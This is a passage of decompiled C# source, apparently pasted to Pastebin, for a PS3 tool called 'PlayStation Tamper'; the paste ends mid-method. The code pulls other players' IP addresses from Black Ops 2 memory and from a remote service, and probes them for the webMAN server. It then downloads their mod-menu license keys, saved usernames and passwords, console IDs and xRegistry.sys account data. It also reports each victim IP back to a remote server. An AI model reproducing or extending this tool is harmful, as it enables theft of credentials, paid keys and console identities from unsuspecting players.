Advertisement
Guest User

meme

a guest
Dec 29th, 2017
1,729
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 87.60 KB | None | 0 0
  1. public class Form1 : XtraForm
  2. {
  3. // Token: 0x06000002 RID: 2 RVA: 0x00002057 File Offset: 0x00000257
  4. public Form1()
  5. {
  6. this.InitializeComponent();
  7. SkinManager.EnableFormSkins();
  8. BonusSkins.Register();
  9. }
  10.  
  11. // Token: 0x06000003 RID: 3 RVA: 0x00002094 File Offset: 0x00000294
  12. public static string BytesToHex(byte[] bytes)
  13. {
  14. StringBuilder stringBuilder = new StringBuilder(bytes.Length);
  15. for (int i = 0; i < bytes.Length; i++)
  16. {
  17. stringBuilder.Append(bytes[i].ToString("X2"));
  18. }
  19. return stringBuilder.ToString();
  20. }
  21.  
  22. // Token: 0x06000004 RID: 4 RVA: 0x000020E4 File Offset: 0x000002E4
  23. public static byte[] HexToBytes(string hex)
  24. {
  25. IEnumerable<int> arg_3E_0 = Enumerable.Range(0, hex.Length);
  26. Func<int, bool> arg_3E_1;
  27. if ((arg_3E_1 = Form1.<>c.<>9__11_0) == null)
  28. {
  29. arg_3E_1 = (Form1.<>c.<>9__11_0 = new Func<int, bool>(Form1.<>c.<>9.<HexToBytes>b__11_0));
  30. }
  31. return (from x in arg_3E_0.Where(arg_3E_1)
  32. select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray<byte>();
  33. }
  34.  
  35. // Token: 0x06000005 RID: 5 RVA: 0x00002150 File Offset: 0x00000350
  36. private void Form1_Load(object sender, EventArgs e)
  37. {
  38. Form1.PS3.ChangeAPI(0);
  39. RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\" + Application.ProductName);
  40. try
  41. {
  42. this.textEdit2.Text = registryKey.GetValue("api_key").ToString();
  43. }
  44. catch (Exception var_2_47)
  45. {
  46. }
  47. RegistryKey registryKey2 = Registry.CurrentUser.CreateSubKey("SOFTWARE\\" + Application.ProductName);
  48. try
  49. {
  50. this.checkEdit1.Checked = Convert.ToBoolean(registryKey2.GetValue("config_onlineTest"));
  51. }
  52. catch (Exception var_3_86)
  53. {
  54. }
  55. this.GetHWID();
  56. this.timer1.Start();
  57. this.webBrowser3.Navigate("http://playstationtamper.com/info.php");
  58. }
  59.  
  60. // Token: 0x06000006 RID: 6 RVA: 0x00002228 File Offset: 0x00000428
  61. private void Form1_FormClosing(object sender, EventArgs e)
  62. {
  63. log log = new log();
  64. log.Show();
  65. }
  66.  
  67. // Token: 0x06000007 RID: 7 RVA: 0x00002243 File Offset: 0x00000443
  68. private void xtraTabPage5_Paint(object sender, PaintEventArgs e)
  69. {
  70. }
  71.  
  72. // Token: 0x06000008 RID: 8 RVA: 0x00002248 File Offset: 0x00000448
  73. private bool PingIP(string ip)
  74. {
  75. bool flag = false;
  76. try
  77. {
  78. HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://" + ip);
  79. httpWebRequest.AutomaticDecompression = DecompressionMethods.GZip;
  80. httpWebRequest.Timeout = 1250;
  81. using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
  82. {
  83. using (Stream responseStream = httpWebResponse.GetResponseStream())
  84. {
  85. using (StreamReader streamReader = new StreamReader(responseStream))
  86. {
  87. string text = streamReader.ReadToEnd();
  88. }
  89. }
  90. }
  91. flag = true;
  92. }
  93. catch (Exception)
  94. {
  95. flag = false;
  96. }
  97. return flag;
  98. }
  99.  
  100. // Token: 0x17000001 RID: 1
  101. // (get) Token: 0x06000009 RID: 9 RVA: 0x00002328 File Offset: 0x00000528
  102. // (set) Token: 0x0600000A RID: 10 RVA: 0x00002330 File Offset: 0x00000530
  103. public string userName
  104. {
  105. get;
  106. set;
  107. }
  108.  
  109. // Token: 0x17000002 RID: 2
  110. // (get) Token: 0x0600000B RID: 11 RVA: 0x00002339 File Offset: 0x00000539
  111. // (set) Token: 0x0600000C RID: 12 RVA: 0x00002341 File Offset: 0x00000541
  112. public string passWord
  113. {
  114. get;
  115. set;
  116. }
  117.  
  118. // Token: 0x0600000D RID: 13 RVA: 0x0000234C File Offset: 0x0000054C
  119. private void GetHWID()
  120. {
  121. SelectQuery query = new SelectQuery("Win32_Processor");
  122. ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(query);
  123. using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator())
  124. {
  125. while (enumerator.MoveNext())
  126. {
  127. ManagementObject managementObject = (ManagementObject)enumerator.Current;
  128. this.hwid = managementObject["ProcessorId"].ToString();
  129. }
  130. }
  131. }
  132.  
  133. // Token: 0x0600000E RID: 14 RVA: 0x000023C4 File Offset: 0x000005C4
  134. private void simpleButton1_Click(object sender, EventArgs e)
  135. {
  136. bool flag = !this.method;
  137. if (flag)
  138. {
  139. this.method = true;
  140. this.simpleButton1.Text = "Change Connection Method: Multiple";
  141. }
  142. else
  143. {
  144. this.method = false;
  145. this.simpleButton1.Text = "Change Connection Method: Singular";
  146. }
  147. }
  148.  
  149. // Token: 0x0600000F RID: 15 RVA: 0x00002418 File Offset: 0x00000618
  150. private void simpleButton2_Click(object sender, EventArgs e)
  151. {
  152. this.listBoxControl1.Items.Clear();
  153. this.temp = this.textEdit1.Text;
  154. this.simpleButton5.Enabled = true;
  155. bool flag = this.textEdit2.Text != "";
  156. if (flag)
  157. {
  158. using (WebClient webClient = new WebClient())
  159. {
  160. this.getSockets = webClient.DownloadString(string.Concat(new string[]
  161. {
  162. "http://",
  163. this.site,
  164. "/api/?feature=getIPs&username=",
  165. this.userName,
  166. "&password=",
  167. this.passWord,
  168. "&hwid=",
  169. this.hwid,
  170. "&api=",
  171. this.textEdit2.Text,
  172. "&download"
  173. }));
  174. }
  175. int num = this.getSockets.Split(new char[]
  176. {
  177. ':'
  178. }).Length - 1;
  179. string[] array = this.getSockets.Split(new char[]
  180. {
  181. ':'
  182. });
  183. for (int i = 0; i < num + 1; i++)
  184. {
  185. bool flag2 = !this.checkEdit1.Checked;
  186. if (flag2)
  187. {
  188. bool flag3 = !this.listBoxControl1.Items.Contains(array[i]) && !this.listBoxControl1.Items.Contains(array[i] + " - Offline") && !this.listBoxControl1.Items.Contains(array[i] + " - Online") && array[i] != "";
  189. if (flag3)
  190. {
  191. this.listBoxControl1.Items.Add(array[i]);
  192. }
  193. }
  194. else
  195. {
  196. bool flag4 = this.PingIP(array[i]);
  197. if (flag4)
  198. {
  199. bool flag5 = !this.listBoxControl1.Items.Contains(array[i] + " - Online") && !this.listBoxControl1.Items.Contains(array[i]) && array[i] != "";
  200. if (flag5)
  201. {
  202. this.listBoxControl1.Items.Add(array[i] + " - Online");
  203. }
  204. }
  205. else
  206. {
  207. bool flag6 = !this.listBoxControl1.Items.Contains(array[i] + " - Offline") && !this.listBoxControl1.Items.Contains(array[i]) && array[i] != "";
  208. if (flag6)
  209. {
  210. this.listBoxControl1.Items.Add(array[i] + " - Offline");
  211. }
  212. }
  213. }
  214. }
  215. this.simpleButton5.Enabled = true;
  216. this.temp = this.textEdit1.Text;
  217. MemoEdit expr_2E4 = this.memoEdit2;
  218. expr_2E4.Text += "Successfully retrieved IPs from PST Network\r\n";
  219. }
  220. else
  221. {
  222. MessageBox.Show("No API Key Set!", "PlayStation Tamper | Error");
  223. MemoEdit expr_314 = this.memoEdit2;
  224. expr_314.Text += "No PST Premium API Key is Set!\r\n";
  225. }
  226. }
  227.  
  228. // Token: 0x06000010 RID: 16 RVA: 0x00002760 File Offset: 0x00000960
  229. private void simpleButton4_Click(object sender, EventArgs e)
  230. {
  231. RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\" + Application.ProductName);
  232. registryKey.SetValue("api_key", this.textEdit2.Text);
  233. }
  234.  
  235. // Token: 0x06000011 RID: 17 RVA: 0x000027A0 File Offset: 0x000009A0
  236. private void listBoxControl1_SelectedIndexChanged(object sender, EventArgs e)
  237. {
  238. this.temp = this.textEdit1.Text;
  239. this.simpleButton5.Enabled = true;
  240. bool flag = this.listBoxControl1.Items.Count > 0;
  241. if (flag)
  242. {
  243. this.selItem = this.listBoxControl1.SelectedItem.ToString();
  244. }
  245. bool flag2 = this.selItem.Contains(" - ");
  246. if (flag2)
  247. {
  248. string[] array = this.selItem.Split(new char[]
  249. {
  250. '-'
  251. });
  252. string[] array2 = array[0].Split(new char[]
  253. {
  254. ' '
  255. });
  256. this.textEdit1.Text = array2[0];
  257. }
  258. else
  259. {
  260. this.textEdit1.Text = this.selItem;
  261. }
  262. }
  263.  
  264. // Token: 0x06000012 RID: 18 RVA: 0x00002860 File Offset: 0x00000A60
  265. private void simpleButton3_Click(object sender, EventArgs e)
  266. {
  267. bool flag = !this.connected;
  268. if (flag)
  269. {
  270. bool flag2 = this.textEdit3.Text == "80" && !this.textEdit3.Enabled;
  271. if (flag2)
  272. {
  273. string text = "";
  274. bool flag3 = false;
  275. bool flag4 = this.ValidateIPv4(this.textEdit1.Text) && !this.textEdit1.Text.Contains(" ");
  276. if (flag4)
  277. {
  278. Ping ping = new Ping();
  279. string text2 = this.textEdit1.Text;
  280. PingReply pingReply = ping.Send(text2);
  281. bool flag5 = pingReply.Status == IPStatus.Success;
  282. if (flag5)
  283. {
  284. try
  285. {
  286. using (WebClient webClient = new WebClient())
  287. {
  288. text = webClient.DownloadString("http://" + this.textEdit1.Text);
  289. bool flag6 = text.Contains("webMAN");
  290. if (flag6)
  291. {
  292. flag3 = true;
  293. }
  294. }
  295. }
  296. catch (Exception var_12_101)
  297. {
  298. flag3 = false;
  299. }
  300. bool flag7 = flag3;
  301. if (flag7)
  302. {
  303. bool flag8 = text.Contains("webMAN");
  304. if (flag8)
  305. {
  306. this.labelControl4.Text = "Connected";
  307. this.labelControl4.ForeColor = Color.LimeGreen;
  308. string text3;
  309. using (WebClient webClient2 = new WebClient())
  310. {
  311. text3 = webClient2.DownloadString(string.Concat(new string[]
  312. {
  313. "http://",
  314. this.site,
  315. "/api/?feature=getIPs&username=",
  316. this.userName,
  317. "&password=",
  318. this.passWord,
  319. "&hwid=",
  320. this.hwid,
  321. "&api=",
  322. this.textEdit2.Text,
  323. "&upload=",
  324. this.textEdit1.Text
  325. }));
  326. }
  327. bool flag9 = text3 != "Success";
  328. if (flag9)
  329. {
  330. MessageBox.Show("Error Uploading IP to Server!\nTerminating Session!\n" + text3, "PlayStation Tamper | Error");
  331. base.Close();
  332. }
  333. try
  334. {
  335. this.webBrowser1.Navigate("http://" + this.textEdit1.Text);
  336. }
  337. catch (Exception var_17_243)
  338. {
  339. }
  340. MemoEdit expr_24F = this.memoEdit2;
  341. expr_24F.Text = expr_24F.Text + "Connected to " + this.textEdit1.Text + "\r\n";
  342. MemoEdit expr_27B = this.memoEdit3;
  343. expr_27B.Text = expr_27B.Text + this.textEdit1.Text + "\r\n";
  344. this.connected = true;
  345. this.simpleButton3.Text = "Disconnect from Console";
  346. this.textEdit1.Enabled = false;
  347. this.textEdit5.Text = "http://" + this.textEdit1.Text;
  348. }
  349. else
  350. {
  351. this.labelControl4.Text = "Unconnected";
  352. this.labelControl4.ForeColor = Color.Red;
  353. MessageBox.Show("Server isn't running webMAN :S", "PlayStation Tamper | Error");
  354. this.webBrowser1.Navigate("http://" + this.site + "/landing.html");
  355. MemoEdit expr_33F = this.memoEdit2;
  356. expr_33F.Text += "Connection Failed\r\n";
  357. }
  358. }
  359. else
  360. {
  361. this.labelControl4.Text = "Unconnected";
  362. this.labelControl4.ForeColor = Color.Red;
  363. MessageBox.Show("Couldn't Connect to server :S", "PlayStation Tamper | Error");
  364. this.webBrowser1.Navigate("http://" + this.site + "/landing.html");
  365. MemoEdit expr_3B3 = this.memoEdit2;
  366. expr_3B3.Text += "Connection Failed\r\n";
  367. }
  368. }
  369. else
  370. {
  371. bool flag10 = pingReply.Status == IPStatus.TimedOut;
  372. if (flag10)
  373. {
  374. MessageBox.Show("IPv4 is offline or Port 80 is closed!", "PlayStation Tamper | Error");
  375. this.webBrowser1.Navigate("http://" + this.site + "/landing.html");
  376. MemoEdit expr_419 = this.memoEdit2;
  377. expr_419.Text += "Connection Failed\r\n";
  378. }
  379. }
  380. }
  381. else
  382. {
  383. MessageBox.Show("You Must Enter an IPv4 Address!", "PlayStation Tamper | Error");
  384. }
  385. }
  386. }
  387. else
  388. {
  389. this.connected = false;
  390. this.simpleButton3.Text = "Connect to Console";
  391. this.textEdit1.Enabled = true;
  392. this.labelControl4.Text = "Unconnected";
  393. this.labelControl4.ForeColor = Color.Red;
  394. this.webBrowser1.Navigate("http://" + this.site + "/landing.html");
  395. MemoEdit expr_4B9 = this.memoEdit2;
  396. expr_4B9.Text += "Disconnected from Console\r\n";
  397. }
  398. }
  399.  
  400. // Token: 0x06000013 RID: 19 RVA: 0x00002D74 File Offset: 0x00000F74
  401. public bool ValidateIPv4(string ipString)
  402. {
  403. bool flag = string.IsNullOrWhiteSpace(ipString);
  404. bool flag2;
  405. if (flag)
  406. {
  407. flag2 = false;
  408. }
  409. else
  410. {
  411. string[] array = ipString.Split(new char[]
  412. {
  413. '.'
  414. });
  415. bool flag3 = array.Length != 4;
  416. byte tempForParsing;
  417. flag2 = (!flag3 && array.All((string r) => byte.TryParse(r, out tempForParsing)));
  418. }
  419. return flag2;
  420. }
  421.  
  422. // Token: 0x06000014 RID: 20 RVA: 0x00002DD3 File Offset: 0x00000FD3
  423. private void simpleButton5_Click(object sender, EventArgs e)
  424. {
  425. this.textEdit1.Text = this.temp;
  426. this.simpleButton5.Enabled = false;
  427. }
  428.  
  429. // Token: 0x06000015 RID: 21 RVA: 0x00002243 File Offset: 0x00000443
  430. private void xtraTabPage1_Paint(object sender, PaintEventArgs e)
  431. {
  432. }
  433.  
  434. // Token: 0x06000016 RID: 22 RVA: 0x00002DF8 File Offset: 0x00000FF8
  435. private void radioGroup1_SelectedIndexChanged(object sender, EventArgs e)
  436. {
  437. bool flag = this.radioGroup1.SelectedIndex.Equals(1);
  438. if (flag)
  439. {
  440. this.textEdit3.Enabled = true;
  441. this.textEdit3.Text = "80";
  442. }
  443. else
  444. {
  445. bool flag2 = this.radioGroup1.SelectedIndex.Equals(0);
  446. if (flag2)
  447. {
  448. this.textEdit3.Enabled = false;
  449. this.textEdit3.Text = "80";
  450. }
  451. else
  452. {
  453. bool flag3 = this.radioGroup1.SelectedIndex.Equals(2);
  454. if (flag3)
  455. {
  456. this.textEdit3.Enabled = false;
  457. this.textEdit3.Text = "Scan";
  458. }
  459. }
  460. }
  461. }
  462.  
  463. // Token: 0x06000017 RID: 23 RVA: 0x00002243 File Offset: 0x00000443
  464. private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
  465. {
  466. }
  467.  
  468. // Token: 0x06000018 RID: 24 RVA: 0x00002EB4 File Offset: 0x000010B4
  469. private void simpleButton6_Click(object sender, EventArgs e)
  470. {
  471. try
  472. {
  473. using (WebClient webClient = new WebClient())
  474. {
  475. string text = this.comboBoxEdit1.Text;
  476. if (!(text == "Reflex Engine"))
  477. {
  478. if (!(text == "LastTeamStanding"))
  479. {
  480. if (text == "Serendipity")
  481. {
  482. this.key = "Serendipity Key: " + webClient.DownloadString("http://" + this.textEdit1.Text + "/dev_hdd0/tmp/Serendipity.txt");
  483. }
  484. }
  485. else
  486. {
  487. this.key = webClient.DownloadString("http://" + this.textEdit1.Text + "/dev_hdd0/tmp/LTS_Details.seq");
  488. string[] array = this.key.Split(new char[]
  489. {
  490. '\n'
  491. });
  492. this.key = "Username: " + array[0] + "\r\nPassword: " + array[1];
  493. }
  494. }
  495. else
  496. {
  497. this.key = "Reflex Key: " + webClient.DownloadString("http://" + this.textEdit1.Text + "/dev_hdd0/tmp/Reflex.txt");
  498. }
  499. }
  500. }
  501. catch (Exception var_4_11A)
  502. {
  503. this.key = "Failed to Retrieve Menu Key";
  504. }
  505. MemoEdit expr_133 = this.memoEdit1;
  506. expr_133.Text = expr_133.Text + this.key + "\r\n";
  507. }
  508.  
  509. // Token: 0x06000019 RID: 25 RVA: 0x00003044 File Offset: 0x00001244
  510. private void timer1_Tick(object sender, EventArgs e)
  511. {
  512. try
  513. {
  514. string text = "PlayStation Tamper: Loaded\r\n";
  515. MemoEdit expr_0E = this.memoEdit2;
  516. expr_0E.Text += text[this.itt].ToString();
  517. this.itt++;
  518. }
  519. catch (Exception var_2_44)
  520. {
  521. this.simpleButton3.Enabled = true;
  522. this.simpleButton2.Enabled = true;
  523. this.simpleButton6.Enabled = true;
  524. this.timer1.Stop();
  525. }
  526. }
  527.  
  528. // Token: 0x0600001A RID: 26 RVA: 0x000030E0 File Offset: 0x000012E0
  529. private void listBoxControl2_SelectedIndexChanged(object sender, EventArgs e)
  530. {
  531. this.textEdit4.Text = this.listBoxControl2.SelectedItem.ToString();
  532. }
  533.  
  534. // Token: 0x0600001B RID: 27 RVA: 0x00003100 File Offset: 0x00001300
  535. private void simpleButton8_Click(object sender, EventArgs e)
  536. {
  537. string[] lines = this.memoEdit3.Lines;
  538. for (int i = 0; i < lines.Length; i++)
  539. {
  540. string text = lines[i];
  541. bool flag = text.Length > 3;
  542. if (flag)
  543. {
  544. bool flag2 = this.ValidateIPv4(text);
  545. if (flag2)
  546. {
  547. try
  548. {
  549. string text2;
  550. using (WebClient webClient = new WebClient())
  551. {
  552. text2 = webClient.DownloadString("http://" + text + "/cpursx.ps3");
  553. }
  554. int num = text2.IndexOf("IDPS LV2 : ") + "IDPS LV2 : ".Length;
  555. int num2 = text2.LastIndexOf("<br>MAC");
  556. bool flag3 = !this.listBoxControl2.Items.Contains(text2.Substring(num, num2 - num) + "\r\n");
  557. if (flag3)
  558. {
  559. this.listBoxControl2.Items.Add(text2.Substring(num, num2 - num) + "\r\n");
  560. }
  561. }
  562. catch (Exception var_10_F2)
  563. {
  564. this.listBoxControl2.Items.Add("CID Not Found For: " + text + "\r\n");
  565. }
  566. }
  567. else
  568. {
  569. this.listBoxControl2.Items.Add(text + "isn't an IPv4\r\n");
  570. }
  571. }
  572. }
  573. }
  574.  
  575. // Token: 0x0600001C RID: 28 RVA: 0x00002243 File Offset: 0x00000443
  576. private void webBrowser2_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
  577. {
  578. }
  579.  
  580. // Token: 0x0600001D RID: 29 RVA: 0x00003274 File Offset: 0x00001474
  581. private void forwardToolStripMenuItem_Click(object sender, EventArgs e)
  582. {
  583. this.webBrowser1.GoForward();
  584. }
  585.  
  586. // Token: 0x0600001E RID: 30 RVA: 0x00003283 File Offset: 0x00001483
  587. private void backToolStripMenuItem_Click(object sender, EventArgs e)
  588. {
  589. this.webBrowser1.GoBack();
  590. }
  591.  
  592. // Token: 0x0600001F RID: 31 RVA: 0x00003292 File Offset: 0x00001492
  593. private void homeToolStripMenuItem_Click(object sender, EventArgs e)
  594. {
  595. this.webBrowser1.Navigate("http://playstationtamper.com/landing.html");
  596. }
  597.  
  598. // Token: 0x06000020 RID: 32 RVA: 0x00002243 File Offset: 0x00000443
  599. private void simpleButton9_Click(object sender, EventArgs e)
  600. {
  601. }
  602.  
  603. // Token: 0x06000021 RID: 33 RVA: 0x00002243 File Offset: 0x00000443
  604. private void webBrowser4_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
  605. {
  606. }
  607.  
  608. // Token: 0x06000022 RID: 34 RVA: 0x00002243 File Offset: 0x00000443
  609. private void listView1_SelectedIndexChanged(object sender, EventArgs e)
  610. {
  611. }
  612.  
  613. // Token: 0x06000023 RID: 35 RVA: 0x00002243 File Offset: 0x00000443
  614. private void simpleButton10_Click(object sender, EventArgs e)
  615. {
  616. }
  617.  
  618. // Token: 0x06000024 RID: 36 RVA: 0x000032A8 File Offset: 0x000014A8
  619. private void simpleButton9_Click_1(object sender, EventArgs e)
  620. {
  621. try
  622. {
  623. Directory.CreateDirectory(Environment.CurrentDirectory + "/downloads/");
  624. bool flag = this.textEdit5.Text.Contains("http://");
  625. if (flag)
  626. {
  627. using (WebClient webClient = new WebClient())
  628. {
  629. webClient.DownloadFile(this.textEdit5.Text, Environment.CurrentDirectory + "/downloads/" + this.textEdit5.Text.Split(new char[]
  630. {
  631. '/'
  632. }).Last<string>());
  633. MessageBox.Show(string.Concat(new string[]
  634. {
  635. "File from: ",
  636. this.textEdit5.Text,
  637. "\nDownloaded to: ",
  638. Environment.CurrentDirectory,
  639. "/downloads/",
  640. this.textEdit5.Text.Split(new char[]
  641. {
  642. '/'
  643. }).Last<string>()
  644. }), "PlayStation Tamper | Success");
  645. }
  646. }
  647. else
  648. {
  649. using (WebClient webClient2 = new WebClient())
  650. {
  651. webClient2.DownloadFile("http://" + this.textEdit5.Text, Environment.CurrentDirectory + "/downloads/" + this.textEdit5.Text.Split(new char[]
  652. {
  653. '/'
  654. }).Last<string>());
  655. MessageBox.Show(string.Concat(new string[]
  656. {
  657. "File from: http://",
  658. this.textEdit5.Text,
  659. "\nDownloaded to: ",
  660. Environment.CurrentDirectory,
  661. "/downloads/",
  662. this.textEdit5.Text.Split(new char[]
  663. {
  664. '/'
  665. }).Last<string>()
  666. }), "PlayStation Tamper | Success");
  667. }
  668. }
  669. }
  670. catch (Exception ex)
  671. {
  672. MessageBox.Show("An Error was Caught!\nPlease Screenshot this and send it to the developers!\n\n" + ex.ToString(), "PlayStation Tamper | Error");
  673. }
  674. }
  675.  
  676. // Token: 0x06000025 RID: 37 RVA: 0x000034E4 File Offset: 0x000016E4
  677. private void checkEdit1_CheckedChanged(object sender, EventArgs e)
  678. {
  679. bool @checked = this.checkEdit1.Checked;
  680. if (@checked)
  681. {
  682. RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\" + Application.ProductName);
  683. registryKey.SetValue("config_onlineTest", "true");
  684. }
  685. else
  686. {
  687. RegistryKey registryKey2 = Registry.CurrentUser.CreateSubKey("SOFTWARE\\" + Application.ProductName);
  688. registryKey2.SetValue("config_onlineTest", "false");
  689. }
  690. }
  691.  
  692. // Token: 0x06000026 RID: 38 RVA: 0x00003560 File Offset: 0x00001760
  693. private void radioGroup2_SelectedIndexChanged(object sender, EventArgs e)
  694. {
  695. bool flag = this.radioGroup2.SelectedIndex.Equals(0);
  696. if (flag)
  697. {
  698. Form1.PS3.ChangeAPI(0);
  699. }
  700. else
  701. {
  702. bool flag2 = this.radioGroup2.SelectedIndex.Equals(1);
  703. if (flag2)
  704. {
  705. Form1.PS3.ChangeAPI(1);
  706. }
  707. }
  708. }
  709.  
  710. // Token: 0x06000027 RID: 39 RVA: 0x000035BC File Offset: 0x000017BC
  711. private void simpleButton10_Click_1(object sender, EventArgs e)
  712. {
  713. try
  714. {
  715. bool flag = Form1.PS3.ConnectTarget(0);
  716. if (flag)
  717. {
  718. MessageBox.Show("Successfully Connected to Target!", "Connected", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
  719. }
  720. else
  721. {
  722. MessageBox.Show("Failed to Connect", "Failed", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  723. }
  724. }
  725. catch
  726. {
  727. MessageBox.Show("Failed to Connect", "Failed", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  728. }
  729. }
  730.  
  731. // Token: 0x06000028 RID: 40 RVA: 0x00003634 File Offset: 0x00001834
  732. private void simpleButton11_Click(object sender, EventArgs e)
  733. {
  734. try
  735. {
  736. bool flag = Form1.PS3.AttachProcess();
  737. if (flag)
  738. {
  739. MessageBox.Show("Successfully Attached to the Process!", "Attached", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
  740. }
  741. else
  742. {
  743. MessageBox.Show("Failed to Attached to the Process!", "Failed", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  744. }
  745. }
  746. catch
  747. {
  748. MessageBox.Show("Failed to Attached to the Process!", "Failed", MessageBoxButtons.OK, MessageBoxIcon.Hand);
  749. }
  750. }
  751.  
  752. // Token: 0x06000029 RID: 41 RVA: 0x000036A8 File Offset: 0x000018A8
  753. private string method_32(int int_0, uint uint_0)
  754. {
  755. byte[] array = Form1.PS3.get_Extension().ReadBytes(uint_0 + (uint)(int_0 * 328), 2);
  756. return ((int)array[0] << 8 | (int)array[1]).ToString();
  757. }
  758.  
  759. // Token: 0x0600002A RID: 42 RVA: 0x000036E8 File Offset: 0x000018E8
  760. private static string smethod_0(byte[] byte_0)
  761. {
  762. return string.Format("{0}.{1}.{2}.{3}", new object[]
  763. {
  764. byte_0[0],
  765. byte_0[1],
  766. byte_0[2],
  767. byte_0[3]
  768. });
  769. }
  770.  
  771. // Token: 0x0600002B RID: 43 RVA: 0x00003738 File Offset: 0x00001938
  772. private void simpleButton12_Click(object sender, EventArgs e)
  773. {
  774. Form1.NameOffset = 24667244u;
  775. Form1.ClanTagOffset = 24667352u;
  776. Form1.ClientIntervalOffset = 22536u;
  777. this.listView1.Items.Clear();
  778. for (int i = 0; i < 18; i++)
  779. {
  780. bool flag = !Form1.PS3.get_Extension().ReadBool(16461071u);
  781. if (flag)
  782. {
  783. this.name = Form1.PS3.get_Extension().ReadString(Convert.ToUInt32((long)((ulong)Form1.bo2[0] + (ulong)((long)i * 328L))));
  784. this.ip = Form1.smethod_0(Form1.PS3.get_Extension().ReadBytes(Convert.ToUInt32((long)((ulong)Form1.bo2[1] + (ulong)((long)i * 328L))), 4));
  785. this.port = this.method_32(i, Form1.bo2[2]).ToString();
  786. }
  787. else
  788. {
  789. this.name = Form1.PS3.get_Extension().ReadString(Convert.ToUInt32((long)((ulong)Form1.bo2p[0] + (ulong)((long)i * 328L))));
  790. this.ip = Form1.smethod_0(Form1.PS3.get_Extension().ReadBytes(Convert.ToUInt32((long)((ulong)Form1.bo2p[1] + (ulong)((long)i * 328L))), 4));
  791. this.port = this.method_32(i, Form1.bo2p[2]).ToString();
  792. }
  793. bool flag2 = this.PingIP(this.ip);
  794. if (flag2)
  795. {
  796. this.result = "Running WebMAN";
  797. }
  798. else
  799. {
  800. this.result = "Not Running WebMAN";
  801. }
  802. bool flag3 = this.name != "";
  803. if (flag3)
  804. {
  805. ListViewItem listViewItem = new ListViewItem(this.name);
  806. listViewItem.SubItems.Add(this.result);
  807. this.listView1.Items.Add(listViewItem);
  808. }
  809. else
  810. {
  811. ListViewItem listViewItem2 = new ListViewItem("Not Connected");
  812. listViewItem2.SubItems.Add("");
  813. this.listView1.Items.Add(listViewItem2);
  814. }
  815. }
  816. }
  817.  
  818. // Token: 0x0600002C RID: 44 RVA: 0x0000394C File Offset: 0x00001B4C
  819. private void simpleButton7_Click(object sender, EventArgs e)
  820. {
  821. this.accountStealing = false;
  822. this.allowOpen = false;
  823. bool flag = this.comboBoxEdit3.Text == "From File";
  824. if (flag)
  825. {
  826. OpenFileDialog openFileDialog = new OpenFileDialog
  827. {
  828. Filter = "PS3 Registry files (*.sys)|*.sys|All Files (*.*)|*.*",
  829. Multiselect = false
  830. };
  831. bool flag2 = openFileDialog.ShowDialog() == DialogResult.OK && openFileDialog.FileName.Trim().Length > 0;
  832. if (flag2)
  833. {
  834. this.closeToolStripMenuItem_Click(null, null);
  835. this.IO = new X360IO(openFileDialog.FileName, FileMode.Open, true);
  836. this.allowOpen = true;
  837. }
  838. }
  839. else
  840. {
  841. bool flag3 = this.comboBoxEdit3.Text == "From Connection";
  842. if (flag3)
  843. {
  844. bool flag4 = this.connected;
  845. if (flag4)
  846. {
  847. try
  848. {
  849. using (WebClient webClient = new WebClient())
  850. {
  851. webClient.DownloadFile("http://" + this.textEdit1.Text + "/dev_flash2/etc/xRegistry.sys", Environment.CurrentDirectory + "/xRegistry.sys");
  852. this.closeToolStripMenuItem_Click(null, null);
  853. this.IO = new X360IO(Environment.CurrentDirectory + "/xRegistry.sys", FileMode.Open, true);
  854. this.allowOpen = true;
  855. }
  856. }
  857. catch
  858. {
  859. MessageBox.Show("Error Downloading xRegistry.sys from Connection!", "PlayStation Tamper | Error");
  860. }
  861. }
  862. else
  863. {
  864. MessageBox.Show("You Must Connect to a PlayStation First!", "PlayStation Tamper | Error");
  865. this.allowOpen = false;
  866. }
  867. }
  868. }
  869. bool flag5 = this.allowOpen;
  870. if (flag5)
  871. {
  872. uint num = this.IO.Reader.ReadUInt32();
  873. bool flag6 = num != 3165498812u;
  874. if (!flag6)
  875. {
  876. this.IO.Stream.Position = 16L;
  877. this.SettingEntries = new List<SettingEntry>();
  878. this.DataEntries = new List<SettingDataEntry>();
  879. this.lvEntries.Items.Clear();
  880. while (true)
  881. {
  882. SettingEntry settingEntry = new SettingEntry();
  883. bool flag7 = !settingEntry.Load(this.IO);
  884. if (flag7)
  885. {
  886. break;
  887. }
  888. this.SettingEntries.Add(settingEntry);
  889. }
  890. this.IO.Stream.Position = 65520L;
  891. uint num2 = (uint)this.IO.Reader.ReadUInt16();
  892. bool flag8 = num2 == 19750u;
  893. if (flag8)
  894. {
  895. while (true)
  896. {
  897. SettingDataEntry settingDataEntry = new SettingDataEntry();
  898. settingDataEntry.Load(this.IO);
  899. bool flag9 = settingDataEntry.Flags != 43707 || settingDataEntry.FileNameOffset != 52445 || settingDataEntry.Checksum != 60928;
  900. if (!flag9)
  901. {
  902. break;
  903. }
  904. this.DataEntries.Add(settingDataEntry);
  905. }
  906. }
  907. using (List<SettingDataEntry>.Enumerator enumerator = this.DataEntries.GetEnumerator())
  908. {
  909. while (enumerator.MoveNext())
  910. {
  911. SettingDataEntry entry = enumerator.Current;
  912. bool flag10 = entry.Flags != 122;
  913. if (flag10)
  914. {
  915. SettingEntry settingEntry2 = this.SettingEntries.Find((SettingEntry sec) => sec.IsEntryOffset((long)(entry.FileNameOffset + 16)));
  916. bool flag11 = settingEntry2 == null;
  917. if (flag11)
  918. {
  919. MessageBox.Show("failed to load setting");
